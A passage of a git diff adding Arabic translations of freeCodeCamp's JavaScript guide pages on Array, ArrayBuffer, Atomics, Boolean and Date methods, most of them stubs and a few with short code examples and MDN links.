+`.unshift()` طريقة مصفوفة جافا سكريبت `.unshift()` عنصرًا واحدًا أو أكثر إلى بداية الصفيف وتقوم بإرجاع طول الصفيف الجديد.
+
+**بناء الجملة**
+
+ `arr.unshift([element1[, ...[, elementN]]]) 
+` 
+
+## المعلمات
+
+العناصر التي يجب إضافتها إلى مقدمة الصفيف.
+
+## عائدات
+
+`length` الجديد للمصفوفة التي تم استدعاء الطريقة عليها.
+
+## أمثلة
+
+ `var array = [1, 2, 3, 4, 5]; 
+ 
+ array.unshift(0); 
+ // If we console.log(array.shift()); the console would output 6. 
+ // array is now [0, 1, 2, 3, 4, 5]; 
+ 
+ array.unshift([-1]); 
+ // array is now [[-1], 0, 1, 2, 3, 4, 5]; 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/C2V3)
+
+مصدر [MDN](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-values/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-values/index.md
new file mode 100644
index 0000000000..cf7e40cbb9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-values/index.md
@@ -0,0 +1,36 @@
+---
+title: Array.prototype.values
+localeTitle: Array.prototype.values
+---
+## Array.prototype.values
+
+إرجاع الأسلوب `values` كائن `Array Iterator` جديد يحتوي على القيم لكل فهرس في الصفيف.
+
+### بناء الجملة
+
+ `arr.values() 
+` 
+
+### عائدات
+
+كائن جديد `array` ittertator.
+
+### مثال
+
+ `let friends = ["Rachel", "Monica", "Chandler", "Phoebe", "Joey", "Ross"] 
+ 
+ for (let friend of friends) { 
+  console.log(friend) 
+ } 
+ 
+ // Rachel 
+ // Monica 
+ // Chandler 
+ // Phoebe 
+ // Joey 
+ // Ross 
+` 
+
+#### معلومات اكثر:
+
+[وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/values)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/index.md b/client/src/guide/arabic/javascript/standard-objects/array/index.md
new file mode 100644
index 0000000000..b277a90734
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/index.md
@@ -0,0 +1,11 @@
+---
+title: Array
+localeTitle: مجموعة مصفوفة
+---
+## مجموعة مصفوفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md
new file mode 100644
index 0000000000..645a3f8b6d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer isView
+localeTitle: ArrayBuffer isView
+---
+## ArrayBuffer isView
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md
new file mode 100644
index 0000000000..460afc12c1
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer.prototype.byteLength
+localeTitle: ArrayBuffer.prototype.byteLength
+---
+## ArrayBuffer.prototype.byteLength
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md
new file mode 100644
index 0000000000..5bed2ac51a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer.prototype.slice
+localeTitle: ArrayBuffer.prototype.slice
+---
+## ArrayBuffer.prototype.slice
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md
new file mode 100644
index 0000000000..7f23ab67a2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer Transfer
+localeTitle: نقل ArrayBuffer
+---
+## نقل ArrayBuffer
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/arraybuffer/index.md b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/index.md
new file mode 100644
index 0000000000..8351e234ff
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/arraybuffer/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer
+localeTitle: ArrayBuffer
+---
+## ArrayBuffer
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-add/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-add/index.md
new file mode 100644
index 0000000000..dfea0adfc2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-add/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Add
+localeTitle: Atomics Add
+---
+## Atomics Add
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-add/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-and/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-and/index.md
new file mode 100644
index 0000000000..489f42aafb
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-and/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics and
+localeTitle: Atomics و
+---
+## Atomics و
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-and/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-compareexchange/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-compareexchange/index.md
new file mode 100644
index 0000000000..5aa4431da5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-compareexchange/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics compareExchange
+localeTitle: Atomics مقارنة
+---
+## Atomics مقارنة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-compareexchange/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-exchange/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-exchange/index.md
new file mode 100644
index 0000000000..e8f7626b2d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-exchange/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Exchange
+localeTitle: Atomics Exchange
+---
+## Atomics Exchange
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-exchange/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-islockfree/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-islockfree/index.md
new file mode 100644
index 0000000000..639e47f5ac
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-islockfree/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics isLockFree
+localeTitle: Atomics isLockFree
+---
+## Atomics isLockFree
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-islockfree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-load/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-load/index.md
new file mode 100644
index 0000000000..c8678c4434
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-load/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Load
+localeTitle: تحميل Atomics
+---
+## تحميل Atomics
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-load/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-or/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-or/index.md
new file mode 100644
index 0000000000..ce912cf483
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-or/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics or
+localeTitle: Atomics أو
+---
+## Atomics أو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-or/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-store/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-store/index.md
new file mode 100644
index 0000000000..66a3095cfc
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-store/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Store
+localeTitle: متجر Atomics
+---
+## متجر Atomics
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-store/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-sub/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-sub/index.md
new file mode 100644
index 0000000000..c020302eaa
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-sub/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Sub
+localeTitle: Atomics Sub
+---
+## Atomics Sub
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-sub/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-wait/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-wait/index.md
new file mode 100644
index 0000000000..1834d2a9d2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-wait/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Wait
+localeTitle: Atomics انتظر
+---
+## Atomics انتظر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-wait/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-wake/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-wake/index.md
new file mode 100644
index 0000000000..1f61966337
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-wake/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Wake
+localeTitle: Atomics Wake
+---
+## Atomics Wake
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-wake/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-xor/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-xor/index.md
new file mode 100644
index 0000000000..6195d17047
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/atomics-xor/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Xor
+localeTitle: Atomics Xor
+---
+## Atomics Xor
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-xor/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/atomics/index.md b/client/src/guide/arabic/javascript/standard-objects/atomics/index.md
new file mode 100644
index 0000000000..c39bd7868b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/atomics/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics
+localeTitle: أتوميكس
+---
+## أتوميكس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md b/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md
new file mode 100644
index 0000000000..7f57dfd014
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.toSource
+localeTitle: Boolean.prototype.toSource
+---
+## Boolean.prototype.toSource
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md
new file mode 100644
index 0000000000..4de152c196
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.toString
+localeTitle: Boolean.prototype.toString
+---
+## Boolean.prototype.toString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md b/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md
new file mode 100644
index 0000000000..988a926aa8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.valueOf
+localeTitle: Boolean.prototype.valueOf
+---
+## Boolean.prototype.valueOf
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/boolean/index.md b/client/src/guide/arabic/javascript/standard-objects/boolean/index.md
new file mode 100644
index 0000000000..2df44f70cd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/boolean/index.md
@@ -0,0 +1,17 @@
+---
+title: Boolean
+localeTitle: منطقية
+---
+## منطقية
+
+الكائن المنطقي هو مجمّع كائن لقيمة منطقية (صواب أو خطأ). يمكنك تعريف Boolean بشكل صريح باعتباره `new Boolean([value])` . يتم تحويل الوسيطة `value` الاختيارية إلى قيمة منطقية. إذا لم يتم تحديد قيمة، `0` ، `-0` ، `null` ، `false` ، `NaN` ، `undefined` ، أو سلسلة فارغة ( `""` )، يتم تعيين الكائن إلى false. جميع القيم الأخرى ، بما في ذلك أي كائن أو السلسلة "false" ، تنشئ كائنًا ذا قيمة حقيقية. الاستثناء المثير للاهتمام هو عندما يتم تمرير `document.all` الخاص بـ DOM كوسيطة `Boolean` ، يتم تقييمه على أنه `false` 1 .
+
+القيمة المنطقية المنطقية ( `true` و `false` ) ليست نفس قيم الكائن `Boolean` ( `true` و `false` ).
+
+#### معلومات اكثر:
+
+[الفرق بين الكائنات المنطقية والأجواء المنطقية في جافا سكريبت - تنقيط جافا سكريبت](http://adripofjavascript.com/blog/drips/the-difference-between-boolean-objects-and-boolean-primitives-in-javascript.html)
+
+### مصادر
+
+1.  [أنت لا تعرف JavaScript ، الفصل 4](https://github.com/getify/You-Dont-Know-JS/blob/master/types%20&%20grammar/ch4.md) ، السطر: 364. تم الوصول إليها في 31 أكتوبر 2017.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-now/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-now/index.md
new file mode 100644
index 0000000000..212ee377be
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-now/index.md
@@ -0,0 +1,22 @@
+---
+title: Date Now
+localeTitle: التاريخ الآن
+---
+## التاريخ الآن
+
+إرجاع الأسلوب Date.now () عدد الميلي ثانية انقضاء منذ 1 يناير 1970 00:00:00 UTC.
+
+### بناء الجملة
+
+ `var timeInMs = Date.now(); 
+` 
+
+### مثال
+
+ `Date.now(); 
+ // 1508783660969 
+` 
+
+#### معلومات اكثر:
+
+[وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-parse/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-parse/index.md
new file mode 100644
index 0000000000..39462fd740
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-parse/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Parse
+localeTitle: تاريخ تحليل
+---
+## تاريخ تحليل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-parse/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getdate/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getdate/index.md
new file mode 100644
index 0000000000..bbbf392c48
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getdate/index.md
@@ -0,0 +1,24 @@
+---
+title: Date.prototype.getDate
+localeTitle: Date.prototype.getDate
+---
+## Date.prototype.getDate
+
+ترجع الطريقة `getDate()` يوم الشهر للتاريخ المحدد وفقًا للوقت المحلي.
+
+### بناء الجملة
+
+ `dateObject.getDate() 
+` 
+
+### مثال
+
+ `var Xmas95 = new Date('December 25, 1995 23:15:30'); 
+ var day = Xmas95.getDate(); 
+ 
+ console.log(day); // 25 
+` 
+
+#### معلومات اكثر:
+
+[وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getday/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getday/index.md
new file mode 100644
index 0000000000..6e390fd4f7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getday/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getDay
+localeTitle: Date.prototype.getDay
+---
+## Date.prototype.getDay
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getday/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getfullyear/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getfullyear/index.md
new file mode 100644
index 0000000000..dfa2815407
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getfullyear/index.md
@@ -0,0 +1,24 @@
+---
+title: Date.prototype.getFullYear
+localeTitle: Date.prototype.getFullYear
+---
+## Date.prototype.getFullYear
+
+إرجاع الأسلوب Date.getFullYear () السنة (أربعة أرقام) من التاريخ المحدد وفقًا للوقت المحلي.
+
+### بناء الجملة
+
+ `dateObj.getFullYear() 
+` 
+
+### مثال
+
+ `var date = new Date(); 
+ // creates a new Date() object with current date and time. 
+ date.getFullYear() 
+ // 2018 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gethours/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gethours/index.md
new file mode 100644
index 0000000000..257640f0e8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gethours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getHours
+localeTitle: Date.prototype.getHours
+---
+## Date.prototype.getHours
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gethours/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md
new file mode 100644
index 0000000000..8b7b830766
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMilliseconds
+localeTitle: Date.prototype.getMilliseconds
+---
+## Date.prototype.getMilliseconds
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getminutes/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getminutes/index.md
new file mode 100644
index 0000000000..c4855e5f88
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMinutes
+localeTitle: Date.prototype.getMinutes
+---
+## Date.prototype.getMinutes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getminutes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getmonth/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getmonth/index.md
new file mode 100644
index 0000000000..b3b9f7d159
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMonth
+localeTitle: Date.prototype.getMonth
+---
+## Date.prototype.getMonth
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getmonth/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getseconds/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getseconds/index.md
new file mode 100644
index 0000000000..a5cac17091
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getSeconds
+localeTitle: Date.prototype.getSeconds
+---
+## Date.prototype.getSeconds
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getseconds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gettime/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gettime/index.md
new file mode 100644
index 0000000000..2bf25cf45a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gettime/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getTime
+localeTitle: Date.prototype.getTime
+---
+## Date.prototype.getTime
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gettime/index.md) .
+
